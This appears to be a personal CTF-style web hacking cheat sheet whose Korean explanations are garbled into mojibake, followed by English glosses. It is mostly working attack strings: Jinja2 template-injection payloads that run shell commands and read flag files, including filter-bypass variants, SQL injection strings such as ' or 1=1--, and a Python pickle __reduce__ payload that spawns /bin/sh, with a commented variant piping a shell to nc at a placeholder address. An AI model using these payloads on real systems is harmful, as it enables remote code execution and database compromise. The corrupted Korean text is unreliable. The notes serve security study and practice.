web note (update 2021.10.27)
post will be frequently updated
SSTI (Server Side Template Injection)
ํด๋น ์ทจ์ฝ์ ์ ์น ํ๋ ์์ํฌ์์ ์ฌ์ฉ๋๋ ์ฌ๋ฌ ๊ฐ์ง Template Engine์์ ๋ฐ์ํ๋ฉฐ, ํน๋ณํ ๊ตฌ๋ฌธ์ ํตํด RCE
๋ฅผ ์ผ์ผํฌ ์๋ ์๋ค.
This vulnerability occurs in various Template Engines used in web frameworks, RCE and can also be triggered through special syntax.
โถ jinja2
# ๊ธฐ๋ณธ
{{ 4*4 }} => 16
# check with config
{{ config }}
{{ config.items() }}
{{ config['secret_key'] }}
# RCE with config
{{ config.__class__.__init__.__globals__['os'].popen("ls").read() }}
{{ (config|attr("__class__")).__init__.__globals__['os'].popen('cat flag').read() }}
# etc ('',(),get_flashed_messages, url_for, ...)
{{ ''.__class__.__mro__[1].__subclasses__()[**index**]('cat flag', shell=True, stdout=-1).communicate() }}
{{ get_flashed_messages.__globals__.__builtins__.open("/flag").read() }}
{{ url_for.__globals__.__builtins__.eval('__import__("os").popen("ls -al").read()') }}
# with request - ํํฐ๋ง์ด ๋งค์ฐ ๋ง์ ๊ฒฝ์ฐ more query + request๋ฅผ ํ์ฉํ์ฌ ์ฐํ
http://foo.bar/?payload={{ request|attr('class')|attr(request.args.get('mro'))|attr(request.args.get('getitem'))(1) }}&class=__class__&mro=__mro__&getitem=__getitem__
{{request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')|attr('popen')('id')|attr('read')()}}
SQLI (sql injection)
ํด๋น ์ทจ์ฝ์ ์ DB๋ฅผ ๊ด๋ฆฌํ๋ ์์ฉ ํ๋ก๊ทธ๋จ์์ SQL ์ฟผ๋ฆฌ๋ฅผ ์ ๋ฌํ ๋ ์๋ํ์ง ์์ ๊ตฌ๋ฌธ์ ์ ๋ฌํ ์ ์๋๋ก ๋ณ์กฐ์ํค๋ ๋ฐ ๋ชฉ์ ์ด ์๋ค.
The vulnerability is aimed at modulating the DB management application to deliver unintended phrases when delivering SQL queries.
1. Comment symbol
/* ~ */
,-- ~
,#
(URL encoded :%23
)
-- example.
Select * from tbl where id='(user_input)'
-- Select ALL query from tbl
user_input="' or 1=1-- " => Select * from tbl where id='' or 1=1--'
user_input="' or 1=1#" => Select * from tbl where id='' or 1=1#
user_input="' or 1=1/*1234*/" => Select * from tbl where id='' or 1=1/*1234*/' ...?
(must have closed symbol)
2. with single quarter
- id๊ฐ
''
๋ก ๊ฐ์ธ์ ธ ์์ ๊ฒฝ์ฐ'
๋ฅผ input์ผ๋ก ๋ฃ์ด ๋จผ์ ๋ซ์์ฃผ๊ฒ๋ ํ ๋ค ์กฐ๊ฑด๋ฌธ์ ์ด์ด์ค๋ค.
-- example.
Select * from tbl where id='(user_input)'
-- Select ALL query from tbl
user_input="' or 1='1" => Select * from tbl where id='' or 1='1'
3. and, or, &&, ||, in, between, like
-- and, or
Select * from tbl where id='1234' and pw='5678'
Select * from tbl where id='1234' or pw='5678'
-- &&, || (no space required)
Select * from tbl where id='1234'&&pw='5678'
Select * from tbl where id='1234'||pw='5678'
-- in
Select * from tbl where id in '1234' and pw in '5678'
-- between and (both number and char are possible)
Select * from tbl where age between 20 and 30 -- 20<=age<=30
Select * from tbl where score between 'A' and 'C' -- 'A'<=score<='C'
--like (starts with ~, ends with ~, include ~, length)
Select * from tbl where name like 'Bae%' -- starts with Bae
Select * from tbl where name like '%uk' -- ends with uk
Select * from tbl where name like '%won%' -- include won
Select * from tbl where name like '___' -- length 3 chars
Select * from tbl where binary name like '~' -- distinguish upper/lower
4. Internal function in mysql
char(...)
: change integer arguments to char (ex.char(0x61,0x62,0x63)
=>"abc"
)mid/substr[ing](a,b,c)
: getc
bytes ina
fromb(starts from 1 ~ ..)
left(a,b)
/right(a,b)
: getb
bytes ina
(begin / end(reverse but print correctly))version()
: get mysql versiondatabase()
: get current database
python pickle deserialization
pickle
๋ก ์ง๋ ฌํ๋ ๊ฐ์ฒด๊ฐ ๋ณ์กฐ๋์ด ์ญ์ง๋ ฌํํ๋ ๊ณผ์ ์์ ์์คํ
์ ์ ๊ทผํ๊ฑฐ๋ ์๋์น ์์ ๊ฒ์ด ์คํ๋๊ธฐ๋ ํ๋ค. ์ํ๋ class๋ฅผ ์ ์ธํ ๋ค, __reduce__
๋ฅผ ํตํ์ฌ pickle.loads
ํจ์์์ unpickle ์ tuple
์ ๋ฐํํ์ฌ ํจ์๋ฅผ ์คํ์ํฌ ์ ์๋ค.
import os
import pickle
class payload(object):
def __reduce__(self):
#return (os.system, ('ls', ))
#return (os.system, ('cat flag', ))
return (os.system, ('/bin/sh', ))
#return (os.system, ('/bin/sh | nc [ip] [port]', ))
pickle_d=pickle.dumps(payload())
pickle.loads(pickle_d) # get shell anyway
$ id
uid=1000(test) gid=1000(test) groups=1000(test)
update ์์ .